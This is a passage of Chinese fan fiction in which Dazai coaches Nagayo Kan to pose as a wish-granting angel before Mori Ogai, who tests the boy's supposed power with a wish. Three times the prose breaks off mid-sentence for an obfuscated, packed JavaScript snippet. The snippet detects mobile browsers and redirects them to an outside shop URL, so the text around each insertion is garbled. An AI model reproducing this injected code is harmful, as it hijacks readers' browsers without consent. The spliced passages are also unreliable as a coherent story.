森鸥外并不知道…… 其实…… 长与涣也不知道自己在说什么。 【当你看见我打开手电,灯光闪烁两下后,就说出这句开场白。】 他只是按照太宰说的做。 【一定要保持松弛感。无论发生了什么,都要记得,语气要不疾不徐,笑容要轻松宁静,至于神情,要漫不经心,又带着一点‘感兴趣’……】 【演技太差了啦!不知道怎么演的话,就假装看见了一个最喜欢吃的食物,它变成了小精灵,正在你的眼前说话。】 喜欢吃的食物,唔,糖炒栗子…… 想着想着,长与涣有点饿了。 他的思绪开始游移,之前的红薯干并没能填饱他的肚子。 不过河神说,装模作样五分钟,就能吃饱喝足五十年—— “等待我?” 森鸥外选择将对方的话语重复,套取更多信息。 “是呢,鸥外阁下,有着很强烈的祈愿的心。” 长与涣眯起眼睛笑起来。 他想着香喷喷、热乎乎的糖炒栗子。 纤长的眼睫扇动着,长与涣的心中哼起路过居酒屋时听见的民谣,轻而散漫地晃着脑袋,向左偏一偏,再向右偏一偏,光环也随着他的动作微微地摇晃。 那饱满的浅色的嘴唇,弧度弯曲得很美丽,已逐渐干燥的蓬软的头发,在光环下闪着月亮一样的光。 森鸥外想到犬科生物,确切地说,某种雪地中的狐狸。 森没有注意到,旁边的太宰已经关上了手电,一声不吭地移开了视线。 他的确让长与涣放轻松,但也没让他这么松弛…… 太宰的本意是,让长与涣伪装成那种神秘神圣又冷漠疏离的天使形象。 能拥有一个庇护所,也能对横滨起到一定的助益,但不会被森完全掌控。 不过现在这样,效果似乎也不错…… “所以,你想要的一切,我都可以给你哦。” 话语内容的跳跃幅度很大。 其实是长与涣忘记了台词。 关于太宰治分析的、那些能够对森鸥外造成“看透”效果,营造神秘人设的台词,他果然还是没能背下来。 只好根据“如果忘记台词,绝对不可以结结巴巴,无论如何也要圆回来”的原则,直接跳过了。 太宰治的眼神微妙,轻轻地扯了扯嘴角。 他看着长与涣,就像满分是卷面上限、而非他的上限的学神,为班上的倒数第一补课,看着对方坦然地在只有ABCD四个选项的选择题上,光荣地写下E。 “那么,代价是什么呢?”森鸥外问。 离奇的是,由于题目有谬误,写E也能得分。 虽然长与涣前言不搭后语,但森鸥外自发地理解了(太宰想通过长与涣传达的)一切,甚至填充了其中的逻辑…… 他冷静地分析着眼前的少年。 “天使”的异能,可能是根据他人的执念,完成他人的心愿,并从中得到某种好处。 【他不会相信天上掉陷阱,很可能会谨慎地问起代价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787254|190537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这时候,你先不要说话。你只需要保持笑容,盯着他看,然后等待几秒钟。】 【眼神要让他感觉到,你在待价而沽……不知道这个词是什么意思?嗯……你就当做他要用一块破石头换走你的防水外套,然而你知道,他根本换不走,也抢不走,他拿你没办法。是的,就是这种眼神。】 长与涣面带奇异的微笑,他注视着森鸥外。 太宰猜中他的异能,只用了不到十秒钟。 主要花费的时间,用在了确认其异能发动需要付出怎样的“代价”。 太宰本以为是“自伤”,后来发现不是,长与涣的代价是“自身的疼痛”。 他并不明白,为什么太宰让他在森鸥外面前,一定要坚持“自己能实现愿望,但会让他人付出惨痛的代价”。 且绝对不能让他人发现,“只要控制住长与涣并伤害他,就能实现愿望”的真相。 明明他呼唤愿望工具,别人不用付出任何代价,只要他自己忍着点痛就好了呀。 背后的原理,长与涣的脑袋无法深刻理解。 但他人对自己的好坏,长与涣也能隐约有所感觉,他懵懵懂懂地意识到,太宰在保护自己。 照着太宰的话,如此注视了数秒后,他才缓缓开口: “愿望的代价,与你的愿望,在你的心中是等价的。” “可以说得具体一点吗?”森鸥外若有所思。 他在认真地思考如何利用长与涣的能力。 付出一定的代价就能实现愿望,但是,“代价”究竟是用什么来衡量? 人的主观意愿? 森鸥外的这个问题,不在太宰事先准备的范围内。 但是没关系。 太宰随意地将双手插入了口袋。 【你看见我将双手插进口袋,你就说——】 “付出什么,就得到什么……这种事情是很容易理解的吧?” 长与涣轻轻伸出手,接住了从屋顶上空的破口飘下来的雨丝。 他的唇角微微地翘着,脸上却浮现着常人难以读懂的神情。 【在“看见奶油芝士饼干,但你知道那是梦境”的忧郁表情之后,你可以说出那句你想说的话了。不过,切记要保持优雅的微笑和轻松的语调,并且加上称谓——】 “我饿了。”长与涣用轻巧的语气说。 他浅笑着扭过头。 由于长与涣坐在木箱子上,比站立的二人稍微高一些,因此,他是用微微垂下的眼眸,神明居高临下俯瞰般的视线,重新看向森与太宰二人。 而后,他向地面上的两人摊开了右手,以一种相当理所当然的、仿佛本该如此的语气: “鸥外阁下,你有充足的考虑愿望的时间。在那之前,我要吃香草布丁。” 6. 第6章 夜晚,雨停了,晚风吹来凉爽的气息。 长与涣坐上车后座,如愿以偿地拿到了他的香草布丁,并和两人回了诊所。 太宰治此前告诉他,不要说想吃主食,因为主食会让森鸥外一下子看出他很多天没能吃饱饭。 还有没说的——主食相对容易一次性购买较多的份量,长与涣可能会在过度的饥饿后,克制不住自己,一口气吃太多。 长与涣不懂得为什么不要说想吃主食,但他还是决定听河神的话。 在他眼中,糖炒栗子可以当饭吃。 于是,长与涣经过郑重的考虑,就没说想吃糖炒栗子,改为了香草布丁。 这一抉择耗费了他很多的思考量,长与涣很久没有考虑这么多了。 “河神殿下真的不吃吗?” 长与涣端着盛装布丁的小白盘,悄悄地问太宰。 他将布丁从玻璃瓶里倒进小白盘,用勺子小心地将布丁切分为了非常完美的均等两半,就是为了分太宰一半。 其实他是想全部吃掉的,虽然不是糖炒栗子,但香草布丁也很好吃哇。 不过,他明白,如果不是太宰,自己肯定没法吃上布丁。 长与涣有着自己的小私心,他觉得按照功劳算,自己起码得分给太宰一大大大半,而如果抢先均分成两份的话,就可以吃更多了。 对于这样的私心,他有点抱歉,但只能稍稍对不起一点河神,以后再弥补——因为他真的很饿。 “不用。”太宰看着他,“不要叫我河神。” 小诊所上方有个阁楼,是森鸥外工作之余休息的地方。 墙上挂着温度计,靠近墙壁的位置有一张较宽的桌子和一个柜子,堆放着杂乱的书本、杂志期刊、以及水电账单等。 角落里有个落灰的人体骨骼模型,晚上看见很容易吓人一跳。 两人坐在榻榻米上,中间隔着一个小矮桌。 长与涣已经取下了他的天使光环,而太宰也换了一身干燥的衣服。 “这一半我没有碰过哦,不脏的。” 长与涣忍痛将小白盘递过去。 半块香草布丁在白炽灯的灯光下,闪着细腻的光泽,散发着独属于甜品的甜美香气。 “不要推让啦,再推让下去,不仅显得你可怜,也显得我可怜。我的话,要也是吃一整个,半个算什么?” 太宰轻轻撇了撇嘴,他在想森鸥外是不是故意只买了一瓶布丁。 现在不同于战败初那段物资极端匮乏的时间。 由于横滨的经济开始恢复,许多食品公司都有大规模地生产塑料杯装的布丁,几年前还几乎可称为奢侈品的布丁,现在已经能被寻常家庭吃上。 长与涣手中的香草布丁,却不是从普通的百货商店买来,而是森鸥外从河流到港口之间的黑市买到的。 在战争后的最初几年,黑市一度空前繁荣。 现在则因为横滨的工业生产恢复,百姓不再需要从黑市中获得政府管控的物资满足基本生活,黑市范围有所收缩。 不过,靠近港口的地方,还是存在着规模不小的黑市。 主要原因有二。其一是M国的占领军——现在因为新签订的和平条约,应该称为驻留军,在那附近有基地。驻留军基地内部的士兵和员工,时常会将物资带出,让一些违禁品流入市场。 其二则是港口的物资流转量与人员流动量极大,人员混杂,信息交汇,自然也方便了不合规的交易。 执法部门在近几年有尝试加强管控,去黑市交易的普通人少了很多。 不过嘛……Mafia、高濑会等暴力团伙,在整个黑市体系里,多少有扮演组织者的角色,其成员自然不属于普通人。 森鸥外作为港口Mafia首领的私人医生,到黑市买东西,更是如回家吃饭一样稀疏平常。 太宰只是粗略看一眼,再闻一下气味,就能知道长与涣拿到的香草布丁,口感品质要比郊外杂货店的普通布丁好。 但同样是工业化生产出来,也就包装更精美,口感更顺滑些,实际不会好太多。 抢小孩子的食物,而且只是寻常的甜品……他还没有恶劣成这样。 这种时候,太宰自发忽略了自己也是小孩。 “我说啊……难道你们今晚决定待在这里吗?” 森鸥外从木质的楼梯走上来。 阁楼的屋顶有一部分是斜着的,形成了一个梯形的空间,对于身为成年人的森而言略有些低矮,他一伸手就能碰到天花板。 天使正在吃布丁,他的吃相与流浪儿的狼吞虎咽很不一样,小口小口地,堪称优雅。 衣袍微脏,但难掩不凡的落难天使…… 森鸥外想到与谢野晶子。 “反正森先生有别的住处吧?”太宰无所谓地说。 方才,趁森鸥外还在楼下诊所的时候,他以自己的绷带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787255|190537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要更换为名,拿了纱布和药品,给长与涣包扎了其左手手臂的伤口。 这也是为什么长与涣到现在还没吃完布丁。 太宰知道,这小小的破绽,放在森先生的眼中,未必会是破绽——假如长与涣急不可耐地将甜品吃完,才会引人怀疑。 如今这般优雅,反而会是“难以掌控”的证明。 “真是的,堂而皇之地把房屋的真正主人挤出去吗?”森鸥外苦笑般,浅浅地笑着说。 “留着他有利可图,而且是‘前所未有的利益’,因此,森先生绝不可能放他走吧?” 太宰偏了偏头,望向医生的眼神异常澄澈: “我对他正好也很好奇呢。难道森先生要赶我走吗?在‘市警’可能回访‘监护人是否尽职’的当下?” “……当然不可能赶你走。我对太宰君也是非常关心的啊。”森鸥外说。 明明在自己和警方说话时,太宰就走开了,不可能听见对话…… 结果,就这样直接地说出了“市警会回访”。 这样的思维能力,简直和冰块一样令人心底发寒。 “我想也是这样,森先生毕竟是救死扶伤的医生嘛。” 太宰的脸上浮现出一个微笑,“绝对不会将孩子在半夜赶出住所。” 这下连找借口的路都被堵死了。 森鸥外叹了一口气,“是呢,听话的孩子,我也是很喜欢的。” 自从救下了太宰,他明显感觉到,自己在日常生活中的叹气次数有所增多。 算了,先不管太宰。 “这块布丁,天使殿下还算满意吗?” 森鸥外转头望向长与涣。 “只是用来勉强对付一下的零食,谈满不满意未免太严肃了。” 长与涣用纸巾擦了擦嘴唇。 他还想吃。 太宰说明早带他出门,去买好吃的,他好想快点到明天。 “不知道鸥外阁下……是否愿意将你的心中所求,坦诚地说出口了呢?” 这话问的,就好像他知道森鸥外迫切地想要什么——自然也是太宰教的话术。 “已经想好了。” 森鸥外探究地注视着长与涣。 即使“天使”这样说,他也不可能将最终的愿望说出来。 “嗯……我希望‘死之天使’,名为与谢野晶子的女孩成为我的臂助。” 森鸥外微微笑着。 7. 第7章 长与涣的手指转了转勺子,将小银勺轻轻地放在空空的餐盘上。 然后,他拿起了榻榻米上的天使光环。 光环散发着柔和而不强烈的光晕,即使在灯光下,也很有存在感。 那是不同于白炽灯的、如同太阳下的雪地的另外一种纯白。 长与涣抬手,将光环安放在自己的头顶上方,又松开手晃了晃脑袋,光环仿佛找到了轨道,随着他的摇晃而微微晃动。 做完这一切,长与涣才看向森鸥外。 “可以哦。” 他说,“代价是,我会收走你的异能。这一点,可以接受吧?” “等一等……” 森鸥外开口道,“那真的等价吗?” “你是指什么?” 长与涣歪了歪脑袋。 【遇到无法理解的问题,反问他,或者一言不发地微笑就可以了。】 【眼神要保持平和……不明白吗?当你看见一个人无端地抢走了你的面包,你会怎样想?不高兴?那么,当你知道那人几分钟后就会死掉呢?】 【就用介于“不高兴”和“怜悯”之间的、“他都这样了,还是让一让他吧”的眼神。扮演不出来也没关系,你去尝试这样想就好了。】 长与涣努力地按照太宰的教导去做。 他难以扮演出太宰最初想要的“淡漠疏离的神性”,但他的脑回路、以及他的精致的、气质极佳的脸,让他有一种得天独厚的优势—— 无论再聪明的人,在不知道他的脑袋有问题的情况下,都难以猜测他的内心所想。 以及,他还有一个优点,那就是: 虽然不能很好地理解太宰说的话,但长与涣从一开始就没有质疑过太宰,也从没有怀疑过,自己是否有好好地完成太宰的指令的能力。 他有强大的异能,但他不像许多异能者那般,有一种从骨子里散发出去的傲慢。 他的大脑受过损伤,长与涣自己也清楚这一点,但他从不自卑,也不害怕远比他聪明强大的森鸥外。 绝对的信任,以及毫不去想自己是否能够完成、只是尽到最大努力的绝对执行—— 这些……都被太宰囊括在了计划之中,也正是太宰的计划能够推进的真正原因。 长与涣微眯起眼睛,弯着嘴角,笑容浅浅的。 那种莫测的视线,越是聪明的人,越是无法理解。 森鸥外沉默了一会儿。 能感觉到温和的语气,但感觉不到任何笑意,怎么会这样? 根本不像是人类能够表现出来的姿态! 也不像是纯粹神圣的西方的天使……天使起码也会带来人类的感觉。 而长与涣那具纤细的小小身躯中,仿佛存在着难以捉摸的狐狸的精灵。 一面是带来丰收与财富的稻荷神,一面是美丽地蛊惑人类的玉藻前。 长与涣只是个普通的孩子,从太宰那里得到了一些信息,然后和自己演戏;亦或者干脆就是太宰在背后操控他…… 这两种可能性,森鸥外也有想象过。 然而很快就可以排除以上不靠谱的念头。 首先,从长与涣的天使光环就能看出,其的确拥有不凡的异能力。 而从与其的交谈来看,这孩子也相当聪明伶俐,这样的人,不可能被他人轻易控制。 其次,长与涣没有一下子就信任太宰,却不信任自己的道理。 最后,假如不凡的气度与能力只是伪装,很容易就会被戳破。 森鸥外说出关于“与谢野晶子”的期望,只是一个试探罢了。 这个愿望的主体在与谢野晶子身上,就算因为异能的代价,发生什么不可控的事情,在他想来,大概就是与谢野因为异能加入Mafia,再背叛他—— 这样的代价是可以事先提防与接受的。 然而,用他的异能、用小爱丽丝换,他就绝对不可能接受了! 对比起严重的代价,连长与涣知晓他是异能者,都成了不那么令人惊讶的事。 “与谢野成为我的助力,不代表她完全受我控制或者属于我,无论如何,她都是一个独立的个体。” “她有着自己的意志,即使可能会因为你的异能,对我的计划产生帮助,但其终究还是一个不可控的存在。” 森鸥外眯了眯眼睛。 “而我的异能,是绝对可控和不可替代的。就算不谈异能者失去异能后,很可能会直接死亡、或者对自身有所损伤,我的异能也是我自身的安全保障、我的珍贵助力……” “说白了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787256|190537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二者之间,无论从客观上论,还是从我的主观上说,都是不可能等价的吧?” 森的话音落下,长与涣没有立即开口。 他浅淡地勾着唇角,脸上显现着一种十足苍茫的神色。 安静了一会儿,他才轻轻地摇了摇头。 “你也明白,她是一个独立的个体啊。” 【假如森先生以“虽然……但是……”,或者大致的意思来表示反对,你就简述他的那个“虽然”。】 【剩下的,不必多说。他是聪明人,能明白你的“言外之意”。】 太宰再如何聪明,也难以猜到森鸥外后续说的每一句话,更不可能将每一个回答都让长与涣背下来。 于是,他就给长与涣提供了“天使公式”。 方才,长与涣之所以沉默那样久,其实是因为森鸥外说了太长的句子,他的大脑需要很艰难才能从中理解大概的意思。 而坐在长与涣对面的太宰,貌似在听两人对话,实则已经在心中准备救场的计划。 见长与涣自己顺利答上了问题,而且是颇为优秀的回答,太宰将救场计划压下的同时,心中莫名升起了一股诡异的欣慰感。 至于森鸥外这一边,听见长与涣的回答,内心也有了自己的理解。 “她是独立的个体,拥有生命的自我意志,所以,无法简单地以价值论处吗……” 在那一瞬间,森鸥外想到的实在是太多了。 “你没有说出你真正的愿望。” 长与涣注视着他,继续道,“鸥外阁下,应该有更进一步的愿望才对,你是有强烈的祈愿之心的存在。” 这句话模棱两可,几乎可以适用于任何情况。 不管森鸥外有没有真的说出了自己的愿望,表示其“希望更进一步”总没有错。 森鸥外却是没有再说话了。 他不可能直接地说出“我要成为Mafia的首领”。 其一是因为他有自己的计划,不认为有付出未知代价的必要,其二是不管付出什么代价,这都会成为一个掌握在长与涣手中的把柄。 再者,他不由得想到,长与涣所谓的“强烈的祈愿之心”,究竟是什么呢? 难道说,连守护横滨的决心、连三刻构想都能被其看出来吗?